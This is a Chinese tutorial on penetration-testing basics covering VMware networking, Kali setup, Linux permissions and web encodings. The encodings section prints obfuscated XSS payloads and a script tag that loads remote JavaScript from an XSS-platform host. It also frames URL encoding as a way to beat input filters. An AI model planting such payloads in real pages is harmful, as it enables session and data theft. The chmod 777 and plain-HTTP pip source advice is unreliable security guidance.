Web安全——渗透测试基础知识下

渗透测试基础

  • Web安全
  • 一、VMware虚拟机学习使用
    • 1、虚拟机简单介绍
    • 2、网络模式
      • 2.1 桥接网络(Bridged Networking)
      • 2.2 NAT模式
      • 2.3 Host-Only模式
    • 3、通俗理解
  • 二、Kali的2021安装与配置
    • 1、简单介绍
    • 2、Kali的版本
    • 3、配置
      • 3.1 安装虚拟机open-vm-tools-desktop模块
      • 3.2 设置中文
      • 3.3 安装python3的pip
      • 3.4 更新源
  • 三、Kali基础知识
    • Linux文件属性和权限设置
      • 文件解释
      • 用户权限
      • 权限设置
  • 四、渗透测试常用编码
    • 1、页面编码
    • 2、ascii编码
    • 3、HTML编码
    • 4、URL编码
    • 5、js编码
    • 6、hex编码
    • 7、base64编码
    • 8、json编码0
    • 9、序列化
    • 10、utf7编码
  • 五、搭建博客系统
    • 1、注册域名
    • 2、域名的访问
    • 3、服务器
    • 4、环境安装
    • 5、域名的指向
  • 六、端口协议
    • 1、端口的作用
    • 2、端口的类型
    • 3、常见的端口
    • 4、TCP协议三次握手
    • 5、查看端口
    • 6、如何查看端口被占用?
    • 7、TCP状态转移要点
    • 8、常见的端口
  • 七、渗透测试中常见windows命令

Web安全

1、Web安全——HTML基础
2、Web安全——DIV CSS基础
3、Web安全——JavaScript基础
4、Web安全——PHP基础
5、Web安全——JavaScript基础(加入案例)
6、靶场搭建——搭建pikachu靶场
7、Web安全——数据库mysql学习

一、VMware虚拟机学习使用

1、虚拟机简单介绍

虚拟机软件可让你在不重启电脑的情况下,在一个操作系统上同时运行多个不同的系统,譬如在Win10 上同时运行 UbuntuWin7,用户可用于各种开发、测试或运行不同平台的软件。

VMware Workstation Pro 17 中文专业版功能相对免费的 VMWare Player 要丰富强大得多!新版本支持 Windows 10,支持 USB 3.1、蓝牙、4K,支持容器、兼容 Hyper-V,支持 DirectX 11OpenGL 4.1 加速,3D 游戏性能大幅提高!另外还可共享或远程控制虚拟机等……

2、网络模式

我们知道VMware也分几种版本,普通用户最常用的就是Workstation,但是不管使用哪种版本,我们都能发现在安装过程中让我们选择网络模式。在默认情况下会选中桥接模式,但有用户会问其他模式是干什么用的?
VMware 3种网络模式的功能和通信规则。

我们首先说一下VMware的几个虚拟设备
VMnet0:用于虚拟桥接网络下的虚拟交换机
VMnet1:用于虚拟Host-Only网络下的虚拟交换机
VMnet8:用于虚拟NAT网络下的虚拟交换机
VMware Network Adepter VMnet1Host用于Host-Only虚拟网络进行通信的虚拟网卡
VMware Network Adepter VMnet8Host用于NAT虚拟网络进行通信的虚拟网卡
安装了VMware虚拟机后,会在网络连接对话框中多出两个虚拟网卡。

2.1 桥接网络(Bridged Networking)

桥接网络是本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位(虚拟网卡既不是Adepter VMnet1也不是Adepter VMnet8)。
那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机。所以两个网卡的IP地址也要设置为同一网段。

虚拟网卡IP地址
我们看到,物理网卡和虚拟网卡的IP地址处于同一个网段,子网掩码、网关、DNS等参数都相同。两个网卡在拓扑结构中是相对独立的。
我们在192.168.15.111ping192.168.15.96,结果显示两个网卡能够互相通信。如果在网络中存在DHCP服务器, 那么虚拟网卡同样可以从DHCP服务器上获取IP地址。所以桥接网络模式是VMware虚拟机中最简单直接的模式。安装虚拟机时它为默认选项。

2.2 NAT模式

NAT网络中,会用到VMware Network Adepter VMnet8虚拟网卡,主机上的VMware Network Adepter VMnet8虚拟网卡被直接连接到VMnet8虚拟交换机上与虚拟网卡进行通信

NAT网络模式
VMware Network Adepter VMnet8虚拟网卡的作用仅限于和VMnet8网段进行通信,它不给VMnet8网段提供路由功能,所以虚拟机虚拟一个NAT服务器,使虚拟网卡可以连接到Internet。在这种情况下,我们就可以使用端口映射功能,让访问主机80端口的请求映射到虚拟机的80端口上。
VMware Network Adepter VMnet8虚拟网卡的IP地址是在安装VMware时由系统指定生成的,我们不要修改这个数值,否则会使主机和虚拟机无法通信。
虚拟出来的网段和NAT模式虚拟网卡的网段是一样的,都为192.168.111.X,包括NAT服务器的IP地址也是这个网段。在安装VMware之后同样会生成一个虚拟DHCP服务器,为NAT服务器分配IP地址。
当主机和虚拟机进行通信的时候就会调用VMware Network Adepter VMnet8虚拟网卡,因为他们都在一个网段,所以通信就不成问题了。
实际上,VMware Network Adepter VMnet8虚拟网卡的作用就是为主机和虚拟机的通信提供一个接口,即使主机的物理网卡被关闭,虚拟机仍然可以连接到Internet,但是主机和虚拟机之间就不能互访了

2.3 Host-Only模式

Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

NAT一样,VMware Network Adepter VMnet1虚拟网卡的IP地址也是VMware系统指定的,同时生成的虚拟DHCP服务器和虚拟网卡的IP地址位于同一网段,但和物理网卡的IP地址不在同一网段。

Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP2000ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。
综述
VMware3中网络模式中,NAT模式是最简单的,基本不需要手动配置IP地址等相关参数。至于桥接模式则需要额外的IP地址,如果是在内网环境中还很容易,如果是ADSL宽带就比较麻烦了,ISP一般是不会大方的多提供一个公网IP的。

3、通俗理解

模式 解释
桥接模式 同一网段内访问能访问互联网
NAT模式 不在一个网段内 能上网 也能访问内网其他机器,但是其他机子访问不了。
Host模式 物理机能访问。不能不上网 不能访问局域网其他机子。

二、Kali的2021安装与配置

1、简单介绍

Kali Linux是基于DebianLinux发行版, 设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive SecurityMati AharoniDevon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。

Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CDlive USB运行Kali LinuxKali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook

2、Kali的版本

根据系统的不同选择不同的版本。主要分为32/64版本 通常用64居多
同时也提供多个安装版本 直接安装的版本、虚拟机版本 (wmare /vbox

3、配置

3.1 安装虚拟机open-vm-tools-desktop模块

sudo apt-get install open-vm-tools-desktop

3.2 设置中文

sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy
sudo dpkg-reconfigure locales

选择字符 zh_CN.UTF-8
重启 reboot

3.3 安装python3的pip

sudo apt-get install python3-pip
解决pip3超时下载
python3pip3默认源太慢,所以我们为了提升使用效果,通常选择国内源。
其实方法很简单,脚本如下:

mkdir -p ~/.pip
vim ~/.pip/pip.conf

然后将下列的内容写入~/.pip/pip.conf即可。

[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com

我这里使用了豆瓣的源,只是使用习惯问题,当然我们也可以使用清华等其他国内源。

国内其他pip
清华:https://pypi.tuna.tsinghua.edu.cn/simple
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
华中理工大学:http://pypi.hustunique.com/
山东理工大学:http://pypi.sdutlinux.org/
豆瓣:http://pypi.douban.com/simple/

3.4 更新源

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vim /etc/apt/sources.list

#阿里云

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#浙大

deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

apt-get update 更新系统
apt-get upgrade 升级已安装的所有软件包
apt-get dist-upgrade 升级软件 会自动处理依赖包

vim 编辑器
sudo 使用特权 root权限
:wq 保存

三、Kali基础知识

Linux文件属性和权限设置

文件解释

使用 ls -al 命令后会列出如下图所示的文件详细信息:
d 是目录 directory
- ==普通文件 二进制文件 ==
l 软连接

用户权限

文件中r w x -的含义,r只读权限,w写的权限x可执行权限,-没有任何权限
目录中 r w x的含义,r具有ls权限,w是在目录上可以增加、删除、创建权限,x是具有ls –l权限。

权限设置

chmod 777 +文件名 (给单独文件赋所有权限
chmod -R 777 /home/user 注: 表示将整个/home/user目录与其中的文件和子目录的权限都设置为rwxrwxrwx

更改文件权限
chmod 654 /test
对用户可读可写: 4(读取)+ 2(写入)= 6
对用户组可读可执行: 4(读取)+ 1(执行)= 5
对其他用户仅可读: 4(读取)

常用权限
-rw------- (600) 只有所有者才有读和写的权限
-rw-r--r-- (644) 只有所有者才有读和写的权限,组群和其他人只有读的权限
-rwx------ (700) 只有所有者才有读,写,执行的权限
-rwxr-xr-x (755) 只有所有者才有读,写,执行的权限,组群和其他人只有读和执行的权限

-rwx--x--x (711) 只有所有者才有读,写,执行的权限,组群和其他人只有执行的权限
-rw-rw-rw- (666) 每个人都有读写的权限
-rwxrwxrwx (777) 每个人都有读写和执行的权限

也可以使用字母模式
chmod +x chmod a+x 是一样的,一般没有明确要求,可以就用chmod +x

创建一个文件只有用户具有完全控制的权限
touch moonsec
设置它用具有完全控制的权限 rwx 用户组没有任何权限 其他用户也没有任何权限
chmod u+rwx moonsec 当前用户加全部的权限
chmod g-r moonsec 群组把读取权限去掉
chmod o-r moonsec 其他用户读取权限去掉

四、渗透测试常用编码

1、页面编码

在网页设置网页编码 在中加入设置特定html标签
这样页面的编码就会变成utf-8 ,如果没有设置编码就会使用默认的编码,而浏览器默认编码与之不同就会出现乱码。
常用的有三种格式分别是 utf-8、gbk、gbk2312

2、ascii编码

百度百科 详细介绍
https://baike.baidu.com/item/ASCII/309296fr=aladdin&fromid=3712529&fromtitle=ASCII%E7%BC%96%E7%A0%81
在渗透测试中常用的标准表 十进制0-127128个字符

3、HTML编码

实体
HTML 中的预留字符必须被替换为字符实体。

1、在 HTML 中,某些字符是预留的。
2、在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
3、如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。

字符实体类似这样:

&entity_name;
或者
&#entity_number;

如需显示小于号,我们必须这样写:< <;
不间断空格(non-breaking space
HTML 中的常用字符实体是不间断空格( )。

浏览器总是会截短 HTML 页面中的空格。如果您在文本中写 10 个空格,在显示该页面之前,浏览器会删除它们中的9个。如需在页面中增加空格的数量,您需要使用   字符实体。
提示: 使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(对实体数字的支持却很好)。

HTML 中有用的字符实体
注释: 实体名称对大小写敏感!

显示结果 描述 实体名称 实体编号
空格    
< 小于号 < <
> 大于号 > >
& 和号 & &
" 引号 " "
撇号 ' (IE不支持) '
分(cent) ¢ ¢
£ 镑(pound) £ £
¥ 元(yen) ¥ ¥
欧元(euro)
§ 小节 § §
© 版权(copyright) © ©
® 注册商标 ® ®
商标
× 乘号 × ×
÷ 除号 ÷ ÷

HTML编码的存在就是让他在代码中和显示中分开, 避免错误。
命名实体: 构造是&加上希腊字母,
字符编码: 构造是&#加十进制

十六进制 ASCII码或unicode字符编码,浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
http://www.qqxiuzi.cn/bianma/zifushiti.php
十六进制

<img src=https://www.baidu.com/img/bd_logo1.png>

十进制

<img src=https://www.baidu.com/img/bd_logo1.png>

xss

4、URL编码

URL编码是一种多功能技术,可以通过它来战胜多种类型的输入过滤器
URL编码的最基本表示方式是使用问题字符的十六进制ASCII编码来替换它们,并在ASCII编码前加%
例如,单引号字符的ASCII码为0x27,其URL编码的表示方式为%27

5、js编码


javascript十六进制编码
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
javascript的**八进制编码 **
\74\163\143\162\151\160\164\76\141\154\145\162\164\50\42\110\145\154\154\157\40\167\157\162\154\144\41\42\51\73\74\57\163\143\162\151\160\164\76
http://www.jb51.net/tools/zhuanhuan.htm
javascript unicode编码

<img src="1.jpg" />
<script src=http://xsst.sinaapp.com/m.js>script>
<embed src=http://1.com/1.swf  allowscriptaccess=always>embed>

\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021\u0022\u0029\u003b\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0020
http://www.msxindl.com/tools/unicode16.asp
https://www.toolmao.com/xsstranser

6、hex编码

这种编码常用于数据库中 转码过后要加上0x
例如 ahex码是61 如果在数据库使用要加上0x61

7、base64编码

BASE64 编码是一种常用的字符编码,在很多地方都会用到。但base64不是安全领域下的加密解密算法。能起到安全作用的效果很差,而且很容易破解,他核心作用应该是传输数据的正确性,有些网关或系统只能使用ASCII字符Base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法,而且base64特别适合在httpmime协议下快速传输数据。